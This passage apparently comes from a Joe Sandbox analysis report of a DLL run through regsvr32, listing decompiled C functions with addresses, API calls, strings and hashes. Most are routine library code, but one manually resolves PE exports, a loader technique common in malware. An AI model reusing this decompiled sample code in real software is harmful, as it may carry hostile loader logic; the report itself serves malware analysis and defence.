						__eax->i = __cl;
						__eax = __eax + _v20;
						_t21 =  &_v16;
						 *_t21 = _v16 - 1;
					} while ( *_t21 != 0);
					__eax =  &_v12;
					__eax = CreateBitmap(__ebx, _v24, 1, 1,  &_v12);
					_pop(__edi);
					_pop(__esi);
					 *0x1005aa80 = __eax;
					_pop(__ebx);
					if(__eax == 0) {
						__eax = LoadBitmapA(__eax, 0x7fe3);
						 *0x1005aa80 = __eax;
					}
					__ecx = _a116;
					__ecx = _a116 ^ __ebp;
					__eax = E100167D5(__eax, __ebx, _a116 ^ __ebp, __edx, __edi, __esi);
					__ebp =  &_a120;
					__esp =  &_a120;
					_pop(__ebp);
					return __eax;
				}
			}

0x1000b3b0
0x1000b3ba
0x1000b3c1
0x1000b3c5
0x1000b3c6
0x1000b3c7
0x1000b3cd
0x1000b3d6
0x1000b3d9
0x1000b3dc
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000b3e8
0x1000b3eb
0x1000b3ef
0x1000b3ef
0x1000b3f0
0x1000b3f3
0x1000b3f4
0x1000b3f6
0x1000b3f9
0x1000b3fe
0x1000b402
0x1000b405
0x1000b407
0x1000b40c
0x1000b410
0x1000b410
0x1000b413
0x1000b416
0x1000b418
0x1000b418
0x1000b429
0x1000b431
0x1000b439
0x1000b43c
0x1000b43f
0x1000b443
0x1000b448
0x1000b44b
0x1000b452
0x1000b452
0x1000b456
0x1000b458
0x1000b45b
0x1000b45f
0x1000b462
0x1000b464
0x1000b467
0x1000b46a
0x1000b46a
0x1000b46a
0x1000b46f
0x1000b47b
0x1000b483
0x1000b484
0x1000b485
0x1000b48a
0x1000b48b
0x1000b493
0x1000b499
0x1000b499
0x1000b49e
0x1000b4a1
0x1000b4a3
0x1000b4a8
0x1000b4ab
0x1000b4ab
0x1000b4ac
0x1000b4ac

APIs

GetMenuCheckMarkDimensions.USER32 ref: 1000B3C7
_memset.LIBCMT ref: 1000B429
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 1000B47B
LoadBitmapA.USER32 ref: 1000B493

Strings

, xrefs: 1000B3E8

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction ID: 72b3b778e8896de6b9c4d2b5d37ea691cdfdc38a5381d0430ce67680fa501abd
Opcode Fuzzy Hash: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction Fuzzy Hash: 5931F572A0065A9FFB10CF78CCC6AAE7BB5EB44384F25052AE506EB1C5D730EA45C750

Uniqueness

Uniqueness Score: -1.00%

Function 1000D86F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1000D86F(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E1000D6C3() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E100199D4(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x1005a760(_a4, _a8);
			}

0x1000d87c
0x1000d895
0x1000d900
0x1000d900
0x1000d902
0x00000000
0x1000d903
0x1000d897
0x1000d89e
0x00000000
0x1000d8b7
0x1000d8b8
0x1000d8bb
0x1000d8c9
0x1000d8cc
0x1000d8d4
0x1000d8d5
0x1000d8d6
0x1000d8d7
0x1000d8de
0x1000d8e1
0x1000d8e5
0x1000d8f4
0x1000d8f9
0x1000d8fc
0x00000000
0x1000d8fc
0x1000d89e
0x00000000

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 1000D8AD
GetSystemMetrics.USER32 ref: 1000D8C5
GetSystemMetrics.USER32 ref: 1000D8CC

Strings

B, xrefs: 1000D88C
DISPLAY, xrefs: 1000D8E9

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction ID: 9954a119ce47e65a3950f6e4b3e830268b9633322f26d87d987c4675ad6ec402
Opcode Fuzzy Hash: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction Fuzzy Hash: 7C118F71600328ABEB11EF649C84B9F7EA8EF057D0B108066FD09AA14AD6719951CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C570, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C570(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E1000DFD6(__ecx, __eflags, _t26) == 0) {
					_t10 = E1001040B(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E1000E426(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E100140D6(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

0x1000c570
0x1000c570
0x1000c572
0x1000c577
0x1000c580
0x1000c589
0x1000c58e
0x1000c590
0x1000c59c
0x1000c59c
0x1000c5a3
0x1000c5fe
0x00000000
0x1000c601
0x1000c5a5
0x1000c5a8
0x1000c5ab
0x1000c5b2
0x1000c5bc
0x1000c5be
0x00000000
0x00000000
0x1000c5c7
0x1000c5cc
0x1000c5ce
0x00000000
0x00000000
0x1000c5d5
0x1000c5db
0x1000c5dd
0x1000c5ea
0x1000c5f6
0x00000000
0x1000c5f6
0x1000c5e0
0x1000c5e6
0x1000c5e8
0x00000000
0x00000000
0x00000000
0x1000c5e8
0x1000c5ad
0x1000c5b0
0x00000000
0x00000000
0x00000000
0x1000c5b0
0x1000c592
0x1000c596
0x00000000
0x00000000
0x00000000
0x1000c598
0x1000c582
0x00000000

Strings

Edit, xrefs: 1000C5C0

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction ID: c36f5ccd8b34139a66e87801a9a5321a409f351d494de0105f07b228c10d2adb
Opcode Fuzzy Hash: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction Fuzzy Hash: F4015E3820070AA7FA65DB258D45F5AB6E5EF056D2F214429F942F10B8CFB0FD91D560

Uniqueness

Uniqueness Score: -1.00%

Function 1000BC89, Relevance: 7.6, APIs: 5, Instructions: 75
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E1000BC89(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t25;
				signed int _t30;
				void* _t32;
				signed int _t34;
				signed int _t42;
				void* _t43;
				void* _t44;
				char** _t54;
				void* _t55;
				void* _t58;
				char* _t59;
				void* _t61;

				_t42 = __ebx;
				_t59 = _t61 - 0x104;
				_t25 =  *0x10057a08; // 0xce1c5b24
				_t59[0x108] = _t25 ^ _t59;
				_push(0x18);
				E10017BF4(E10027F23, __ebx, __edi, __esi);
				_t54 = _t59[0x118];
				_t44 = _t59[0x114];
				_t52 = _t59 - 0x18;
				 *(_t59 - 0x20) = _t44;
				 *(_t59 - 0x1c) = _t54;
				_t30 = RegOpenKeyA(_t44,  *_t54, _t59 - 0x18);
				_t57 = _t30;
				if(_t30 == 0) {
					while(1) {
						_t34 = RegEnumKeyA( *(_t59 - 0x18), 0, _t59, 0x104);
						_t57 = _t34;
						_t66 = _t57;
						if(_t57 != 0) {
							break;
						}
						 *(_t59 - 4) =  *(_t59 - 4) & _t34;
						_push(_t59);
						E10009FA3(_t42, _t59 - 0x14, _t54, _t57, _t66);
						 *(_t59 - 4) = 1;
						_t57 = E1000BC89(_t42, _t54, _t57, _t66,  *(_t59 - 0x18), _t59 - 0x14);
						_t42 = _t42 & 0xffffff00 | _t57 != 0x00000000;
						 *(_t59 - 4) = 0;
						E10009CB7( *((intOrPtr*)(_t59 - 0x14)) + 0xfffffff0, _t52);
						if(_t42 == 0) {
							 *(_t59 - 4) =  *(_t59 - 4) | 0xffffffff;
							continue;
						}
						break;
					}
					__eflags = _t57 - 0x103;
					if(_t57 == 0x103) {
						L6:
						_t57 = RegDeleteKeyA( *(_t59 - 0x20),  *_t54);
					} else {
						__eflags = _t57 - 0x3f2;
						if(_t57 == 0x3f2) {
							goto L6;
						}
					}
					RegCloseKey( *(_t59 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				_pop(_t55);
				_pop(_t58);
				_pop(_t43);
				_t32 = E100167D5(_t57, _t43, _t59[0x108] ^ _t59, _t52, _t55, _t58);
				__eflags =  &(_t59[0x10c]);
				return _t32;
			}

0x1000bc89
0x1000bc90
0x1000bc94
0x1000bc9b
0x1000bca1
0x1000bca8
0x1000bcad
0x1000bcb5
0x1000bcbb
0x1000bcc1
0x1000bcc4
0x1000bcc7
0x1000bccd
0x1000bcd1
0x1000bcd7
0x1000bce5
0x1000bceb
0x1000bced
0x1000bcef
0x00000000
0x00000000
0x1000bcf1
0x1000bcf7
0x1000bcfb
0x1000bd07
0x1000bd13
0x1000bd17
0x1000bd1d
0x1000bd21
0x1000bd28
0x1000bd2a
0x00000000
0x1000bd2a
0x00000000
0x1000bd28
0x1000bd4b
0x1000bd51
0x1000bd5b
0x1000bd66
0x1000bd53
0x1000bd53
0x1000bd59
0x00000000
0x00000000
0x1000bd59
0x1000bd6b
0x1000bd6b
0x1000bd76
0x1000bd7e
0x1000bd7f
0x1000bd80
0x1000bd89
0x1000bd8e
0x1000bd95

APIs

__EH_prolog3_catch.LIBCMT ref: 1000BCA8
RegOpenKeyA.ADVAPI32(?,00000000,?), ref: 1000BCC7
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BCE5
RegDeleteKeyA.ADVAPI32(?,?), ref: 1000BD60
RegCloseKey.ADVAPI32(?), ref: 1000BD6B

Part of subcall function 10009FA3: __EH_prolog3.LIBCMT ref: 10009FAA

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseDeleteEnumH_prolog3H_prolog3_catchOpen
String ID:
API String ID: 301487041-0
Opcode ID: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction ID: 653bf45c983c6aa9a2c45ec2c29e65d920d70d1e6a7a13c67c9db93679124605
Opcode Fuzzy Hash: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction Fuzzy Hash: 0921A075D0465A9FEB21DF94CC81AEDB7B0FF04390F104126ED55A7290EB705E44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013F9E, Relevance: 7.6, APIs: 5, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F9E(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t21;
				void* _t22;
				intOrPtr _t25;
				void* _t26;
				int _t27;
				CHAR* _t28;
				signed int _t29;

				_t25 = __edx;
				_t22 = __ecx;
				_t9 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t9 ^ _t29;
				_t21 = _a4;
				_t32 = _t21;
				_t28 = _a8;
				if(_t21 == 0) {
					L1:
					E1000A0DB(_t21, _t22, _t26, _t28, _t32);
				}
				if(_t28 == 0) {
					goto L1;
				}
				_t27 = lstrlenA(_t28);
				_v264 = 0;
				E100174D0(_t27,  &_v263, 0, 0xff);
				if(_t27 > 0x100 || GetWindowTextA(_t21,  &_v264, 0x100) != _t27 || lstrcmpA( &_v264, _t28) != 0) {
					_t16 = SetWindowTextA(_t21, _t28);
				}
				return E100167D5(_t16, _t21, _v8 ^ _t29, _t25, _t27, _t28);
			}

0x10013f9e
0x10013f9e
0x10013fa7
0x10013fae
0x10013fb2
0x10013fb5
0x10013fb8
0x10013fbc
0x10013fbe
0x10013fbe
0x10013fbe
0x10013fc5
0x00000000
0x00000000
0x10013fd3
0x10013fde
0x10013fe5
0x10013ff4
0x1001401d
0x1001401d
0x10014031

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 10013FC8
_memset.LIBCMT ref: 10013FE5
GetWindowTextA.USER32 ref: 10013FFF
lstrcmpA.KERNEL32(00000000,?), ref: 10014011
SetWindowTextA.USER32(?,?), ref: 1001401D

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction ID: fa7108181993de9b8ea87dd6eaa7291c2451852d429ff63cadea9d36e3b3e8b2
Opcode Fuzzy Hash: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction Fuzzy Hash: 3901C0B6A00228ABE711DB65DCC4FDF77ACEF18790F110065EA45D7141DA70DE848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10010C0F, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E10010C0F(void* __ebx, void* __edi, void* __ebp, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __esi;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t28;

				_t28 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E1001431B(__ebx, _t25, __ebp, 0xc);
				_push(E100100DE);
				_t26 = E100139F5(__ebx, 0x1005a8e0, __edi, _t25, _t28);
				_t29 = _t26;
				if(_t26 == 0) {
					E1000A0DB(_t21, 0x1005a8e0, __edi, _t26, _t29);
				}
				_t30 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E10014388(0xc);
					return  *(_t26 + 8)(_v4, _v0, _a4, _a8);
				} else {
					_push("hhctrl.ocx");
					_t16 = E1000E725(_t21, 0x1005a8e0, _t24, _t26, _t30);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						__eflags = _t17;
						 *(_t26 + 8) = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

0x10010c0f
0x10010c0f
0x10010c0f
0x10010c12
0x10010c17
0x10010c26
0x10010c28
0x10010c2a
0x10010c2c
0x10010c2c
0x10010c31
0x10010c35
0x10010c6f
0x10010c71
0x00000000
0x10010c37
0x10010c37
0x10010c3c
0x10010c44
0x10010c47
0x10010c53
0x10010c59
0x10010c5b
0x10010c5e
0x00000000
0x00000000
0x10010c63
0x10010c69
0x10010c69
0x00000000
0x10010c49

APIs

Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
Part of subcall function 1001431B: InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
Part of subcall function 1001431B: LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 100139F5: __EH_prolog3_catch.LIBCMT ref: 100139FC

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 10010C53
FreeLibrary.KERNEL32(?), ref: 10010C63

Strings

HtmlHelpA, xrefs: 10010C4D
hhctrl.ocx, xrefs: 10010C37

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction ID: 8873b40b3358b87e9332ca8c9146562190e137befea279647b799a71fcd87530
Opcode Fuzzy Hash: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction Fuzzy Hash: 7001F431204303DFE321DFA1DE05B4A76E0EF05781F018A08F4DAA8061DBB1D8D0DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 100224E9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E100224E9() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x1002bb98;
					_v28 =  *0x1002bb90;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x100224ee
0x100224f6
0x1002250d
0x100224b9
0x100224c2
0x100224ce
0x100224d1
0x100224d4
0x100224d6
0x100224d9
0x100224de
0x100224e8
0x100224e0
0x100224e4
0x100224e4
0x100224f8
0x100224fe
0x10022506
0x00000000
0x10022508
0x10022508
0x1002250c
0x1002250c
0x10022506

APIs

GetModuleHandleA.KERNEL32(KERNEL32,1001A130), ref: 100224EE
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 100224FE

Strings

KERNEL32, xrefs: 100224E9
IsProcessorFeaturePresent, xrefs: 100224F8

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction ID: b1380c49f8d15cda8b98f9f56e3724ed638b8beb480886d8724856f67b077174
Opcode Fuzzy Hash: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction Fuzzy Hash: EDF03030900D1EE2EF00ABE1BC596AF7A78FB44785FD20490E681B0088DF7181718681

Uniqueness

Uniqueness Score: -1.00%

Function 10002D50, Relevance: 6.4, APIs: 5, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002D50(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				signed short* _v36;
				intOrPtr _v40;
				void* _t79;
				void* _t119;

				_v40 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v12 = 0;
				_v16 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v16 + 4)) != 0) {
					_v8 = _v20 +  *_v16;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0x0000ffff) != 0) {
							_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x20));
							_v36 = _v20 +  *((intOrPtr*)(_v8 + 0x24));
							_v24 = 0;
							_v28 = 0;
							while(_v28 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t79 = E10001F70(_a8, _v20 +  *_v32);
								_t119 = _t119 + 8;
								if(_t79 != 0) {
									_v28 = _v28 + 1;
									_v32 = _v32 + 4;
									_v36 =  &(_v36[1]);
									continue;
								}
								_v12 =  *_v36 & 0x0000ffff;
								_v24 = 1;
								break;
							}
							if(_v24 != 0) {
								L17:
								if(_v12 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v20 +  *((intOrPtr*)(_v20 +  *((intOrPtr*)(_v8 + 0x1c)) + _v12 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v12 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

0x10002d56
0x10002d5f
0x10002d62
0x10002d71
0x10002d7b
0x10002d94
0x10002d9e
0x10002dab
0x00000000
0x10002db8
0x10002dc3
0x10002e0b
0x10002e17
0x10002e1a
0x10002e21
0x10002e45
0x10002e5d
0x10002e62
0x10002e67
0x10002e30
0x10002e39
0x10002e42
0x00000000
0x10002e42
0x10002e6f
0x10002e72
0x00000000
0x10002e72
0x10002e81
0x10002e8f
0x10002e98
0x00000000
0x10002eb5
0x10002e9c
0x00000000
0x10002ea2
0x10002e85
0x00000000
0x10002e8b
0x10002dd7
0x10002dfa
0x00000000
0x10002dfa
0x10002ddb
0x00000000
0x10002de1
0x10002d9e
0x10002d7f
0x00000000

APIs

SetLastError.KERNEL32(0000007F), ref: 10002D7F
SetLastError.KERNEL32(0000007F), ref: 10002DAB

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
